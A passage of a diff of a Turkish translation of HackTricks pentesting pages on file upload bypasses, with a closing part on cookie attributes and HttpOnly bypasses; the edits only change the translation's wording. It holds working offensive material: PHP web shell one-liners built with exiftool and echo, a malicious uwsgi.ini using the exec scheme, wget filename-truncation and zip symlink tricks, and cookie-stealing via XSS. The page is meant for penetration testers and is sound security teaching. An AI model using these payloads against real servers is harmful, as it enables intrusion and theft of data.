Daha fazla bilgi için orijinal yazıya [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) ve son istismar için [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
|
||||
Başka bir yazı için [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@ Diğer yararlı uzantılar:
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
- **Flash**: _.swf_
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
- **Erlang Yaws Web Sunucusu**: _.yaws_
|
||||
|
||||
### Dosya uzantısı kontrollerini atlama
|
||||
|
||||
@ -32,7 +32,7 @@ Diğer yararlı uzantılar:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkarma** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleme gibi teknikler kullanın. _Daha iyi bir yük hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkarma** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleme gibi teknikler kullanın. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -44,16 +44,16 @@ Diğer yararlı uzantılar:
|
||||
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır; _**.php**_ ile bitmese de kod çalıştırır):
|
||||
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı ile _**.php**_** çalıştırılacak şekilde yanlış yapılandırılmış Apache'yi istismar etmek için yararlıdır, ancak** .php ile bitmek zorunda değildir):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows'ta NTFS alternatif veri akışını (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adı gibi diğer teknikler kullanılarak düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”)
|
||||
7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak diğer tekniklerle düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (.e.g. “file.asp::$data.”)
|
||||
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Ve kötü niyetli PHP kalır. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maksimum 255 bayt
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
|
||||
# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236
|
||||
# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin verdiğini. Diyelim ki 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Yükü oluşturun
|
||||
@ -62,23 +62,23 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### İçerik Türü, Sihirli Numara, Sıkıştırma ve Yeniden Boyutlandırmayı Atlama
|
||||
|
||||
- **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_, _text/plain_, application/octet-stream_
|
||||
- **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya shell'i **meta veriler** içine yerleştirin:\
|
||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir görüntünün baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya shell'i **meta veriler** içine yerleştirin:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` veya yükü doğrudan bir resme de **ekleyebilirsiniz**:\
|
||||
`\` veya yükü doğrudan bir görüntüye de **ekleyebilirsiniz**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Eğer resminize **sıkıştırma ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi bazı standart PHP kütüphaneleri kullanarak, önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Eğer **sıkıştırma görüntünüze ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi bazı standart PHP kütüphaneleri kullanarak, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Bir görüntü yeniden boyutlandırıldığında **hayatta kalan** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Diğer Kontrol Edilecek Hileler
|
||||
|
||||
- Zaten yüklenmiş dosyanın adını **değiştirmek** için bir zafiyet bulun (uzantıyı değiştirmek için).
|
||||
- Geri kapıyı çalıştırmak için bir **Yerel Dosya Dahil Etme** zafiyeti bulun.
|
||||
- Yüklenmiş dosyayı **yeniden adlandırmak** için bir zafiyet bulun (uzantıyı değiştirmek için).
|
||||
- **Yerel Dosya Dahil Etme** zafiyetini bulmak, arka kapıyı çalıştırmak için.
|
||||
- **Olası Bilgi sızıntısı**:
|
||||
1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin.
|
||||
2. **Zaten var olan** bir **dosya** veya **klasör** adıyla bir dosya yükleyin.
|
||||
@ -93,13 +93,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** hilesine bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi** kullanılabilir (php ile çalıştırarak veya bir script içinde dahil ederek...)
|
||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
|
||||
|
||||
`.inc` uzantısı bazen yalnızca **dosya içe aktarmak** için kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş** olabilir.
|
||||
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Eğer bir Jetty sunucusuna bir XML dosyası yükleyebilirseniz, [RCE elde edebilirsiniz çünkü **yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin!
|
||||
Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [RCE elde edebilirsiniz çünkü **yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -107,9 +107,9 @@ Eğer bir Jetty sunucusuna bir XML dosyası yükleyebilirseniz, [RCE elde edebil
|
||||
|
||||
Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: [uWSGI RCE İstismarı](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
|
||||
Uzak Komut Yürütme (RCE) zafiyetleri, birinin `.ini` yapılandırma dosyasını değiştirme yeteneği varsa uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
|
||||
|
||||
Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün; çeşitli şemaları sergilemektedir:
|
||||
Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün; çeşitli şemaları göstermektedir:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -134,7 +134,7 @@ uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlam
|
||||
## **wget Dosya Yükleme/SSRF Hilesi**
|
||||
|
||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
**Linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karakterle kısıtlar. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
**Linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -157,11 +157,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğünüz, **HTTP sunucusunun farklı bir dosyaya yönlendirme yapmasıdır**, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
|
||||
Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğünüz, **HTTP sunucusunun farklı bir dosyaya yönlendirilmesi** olabilir, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
|
||||
|
||||
## Araçlar
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) Pentesterlar ve Hata Avcıları için dosya yükleme mekanizmalarını test etmede yardımcı olmak için tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) Pentesterlar ve Hata Avcıları için dosya yükleme mekanizmalarını test etmede yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
|
||||
|
||||
## Dosya yüklemeden diğer güvenlik açıklarına
|
||||
|
||||
@ -172,13 +172,13 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğün
|
||||
- [**XSS** resim (svg) dosya yüklemede](../xss-cross-site-scripting/#xss-uploading-files-svg).
|
||||
- **JS** dosya **yükleme** + **XSS** = [**Service Workers** istismarı](../xss-cross-site-scripting/#xss-abusing-service-workers).
|
||||
- [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload).
|
||||
- [**Açık Yönlendirme** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
|
||||
- [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg yükleri** deneyin.
|
||||
- [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
|
||||
- Eğer **web sunucusunu bir URL'den bir resmi yakalamaya yönlendirebilirseniz**, bir [SSRF](../ssrf-server-side-request-forgery/) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
- [**XXE ve CORS** bypass PDF-Adobe yüklemesi ile](pdf-upload-xxe-and-cors-bypass.md).
|
||||
- Özel olarak hazırlanmış PDF'ler ile XSS: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatları takip ederek rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** olup olmadığını kontrol edin.
|
||||
- Eğer **web sunucusuna bir URL'den bir resmi yakalamasını** belirtebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/) istismar etmeyi deneyebilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
- [PDF-Adobe yüklemesi ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md).
|
||||
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin.
|
||||
- Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin.
|
||||
|
||||
İşte yükleme yaparak elde edebileceğiniz şeylerin ilk 10 listesi (buradan [buraya](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
@ -191,7 +191,7 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğün
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTML enjeksiyonu / XSS / Açık yönlendirme
|
||||
8. **PNG / JPEG**: Piksel sel saldırısı (DoS)
|
||||
9. **ZIP**: LFI üzerinden RCE / DoS
|
||||
9. **ZIP**: LFI / DoS üzerinden RCE
|
||||
10. **PDF / PPTX**: SSRF / KÖR XXE
|
||||
|
||||
#### Burp Eklentisi
|
||||
@ -207,19 +207,19 @@ Diğer dosya türleri için [https://en.wikipedia.org/wiki/List_of_file_signatur
|
||||
|
||||
### Zip/Tar Dosyası Otomatik Olarak Açılan Yükleme
|
||||
|
||||
Eğer sunucu içinde açılacak bir ZIP yükleyebilirseniz, 2 şey yapabilirsiniz:
|
||||
Eğer sunucu içinde açılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz:
|
||||
|
||||
#### Symlink
|
||||
|
||||
Diğer dosyalara soft linkler içeren bir bağlantı yükleyin, ardından açılan dosyalara erişerek bağlı dosyalara erişeceksiniz:
|
||||
Diğer dosyalara soft linkler içeren bir bağlantı yükleyin, ardından açılan dosyalara erişerek bağlı dosyalara erişebilirsiniz:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Farklı klasörlerde açma
|
||||
### Farklı klasörlerde aç
|
||||
|
||||
Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
|
||||
Açma işlemi sırasında dizinlerde dosyaların beklenmedik bir şekilde oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
|
||||
|
||||
Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir:
|
||||
```python
|
||||
|
||||
@ -8,29 +8,29 @@
|
||||
|
||||
### Süre Dolma ve Max-Age
|
||||
|
||||
Bir çerezin son kullanma tarihi `Expires` niteliği ile belirlenir. Tersine, `Max-age` niteliği bir çerezin silinmesine kadar geçen süreyi saniye cinsinden tanımlar. **Daha modern uygulamaları yansıttığı için `Max-age` seçin.**
|
||||
Bir çerezin son kullanma tarihi `Expires` niteliği ile belirlenir. Tersine, `Max-age` niteliği, bir çerezin silinmesine kadar geçen süreyi saniye cinsinden tanımlar. **Daha modern uygulamaları yansıttığı için `Max-age` seçin.**
|
||||
|
||||
### Alan
|
||||
|
||||
Bir çerezi alacak ana bilgisayarlar `Domain` niteliği ile belirtilir. Varsayılan olarak, bu çerezi veren ana bilgisayara ayarlanır, alt alan adlarını içermez. Ancak, `Domain` niteliği açıkça ayarlandığında, alt alan adlarını da kapsar. Bu, `Domain` niteliğinin belirlenmesini daha az kısıtlayıcı bir seçenek haline getirir ve alt alan adları arasında çerez paylaşımının gerekli olduğu senaryolar için faydalıdır. Örneğin, `Domain=mozilla.org` ayarlandığında, `developer.mozilla.org` gibi alt alan adlarında çerezlere erişim sağlanır.
|
||||
Bir çerezi alacak olan ana bilgisayarlar `Domain` niteliği ile belirtilir. Varsayılan olarak, bu, çerezi veren ana bilgisayara ayarlanır, alt alan adlarını içermez. Ancak, `Domain` niteliği açıkça ayarlandığında, alt alan adlarını da kapsar. Bu, `Domain` niteliğinin belirlenmesini daha az kısıtlayıcı bir seçenek haline getirir ve alt alan adları arasında çerez paylaşımının gerekli olduğu senaryolar için faydalıdır. Örneğin, `Domain=mozilla.org` ayarlandığında, `developer.mozilla.org` gibi alt alan adlarında çerezlere erişim sağlanır.
|
||||
|
||||
### Yol
|
||||
|
||||
`Cookie` başlığının gönderilmesi için istenen URL'de bulunması gereken belirli bir URL yolu `Path` niteliği ile belirtilir. Bu nitelik `/` karakterini bir dizin ayırıcı olarak kabul eder ve alt dizinlerde eşleşmelere de izin verir.
|
||||
`Cookie` başlığının gönderilmesi için istenen URL'de bulunması gereken belirli bir URL yolu `Path` niteliği ile belirtilir. Bu nitelik, `/` karakterini bir dizin ayırıcı olarak kabul eder ve alt dizinlerde eşleşmelere de izin verir.
|
||||
|
||||
### Sıralama Kuralları
|
||||
|
||||
İki çerez aynı isme sahip olduğunda, gönderilmek üzere seçilen çerez:
|
||||
|
||||
- İstenen URL'deki en uzun yolu eşleşen çerez.
|
||||
- İstenen URL'deki en uzun yolu eşleştiren çerez.
|
||||
- Yollar aynıysa en son ayarlanan çerez.
|
||||
|
||||
### SameSite
|
||||
|
||||
- `SameSite` niteliği, çerezlerin üçüncü taraf alanlardan gelen isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayar sunar:
|
||||
- `SameSite` niteliği, çerezlerin üçüncü taraf alan adlarından gelen isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayar sunar:
|
||||
- **Strict**: Çerezin üçüncü taraf isteklerinde gönderilmesini kısıtlar.
|
||||
- **Lax**: Çerezin üçüncü taraf web siteleri tarafından başlatılan GET istekleri ile gönderilmesine izin verir.
|
||||
- **None**: Çerezin herhangi bir üçüncü taraf alanından gönderilmesine izin verir.
|
||||
- **None**: Çerezin herhangi bir üçüncü taraf alan adından gönderilmesine izin verir.
|
||||
|
||||
Çerezleri yapılandırırken, bu nitelikleri anlamak, farklı senaryolar arasında beklenildiği gibi davranmalarını sağlamaya yardımcı olabilir.
|
||||
|
||||
@ -58,8 +58,8 @@ Bu, **istemcinin** çereze erişimini engeller (Örneğin **Javascript** ile: `d
|
||||
|
||||
#### **Aşmalar**
|
||||
|
||||
- Eğer sayfa, bir isteğin yanıtı olarak çerezleri **gönderiyorsa** (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek göndermek ve yanıtından **çerezleri çalmak** mümkündür (örneği kontrol edin [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Bu, **TRACE** **HTTP** istekleri ile aşılabilir çünkü sunucudan gelen yanıt, gönderilen çerezleri yansıtacaktır. Bu teknik **Cross-Site Tracking** olarak adlandırılır.
|
||||
- Eğer sayfa, bir isteğin yanıtı olarak çerezleri **gönderiyorsa** (örneğin bir **PHPinfo** sayfasında), bu sayfaya bir istek göndermek için XSS'i kötüye kullanmak ve yanıtın içinden **çerezleri çalmak** mümkündür (örneği kontrol edin [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
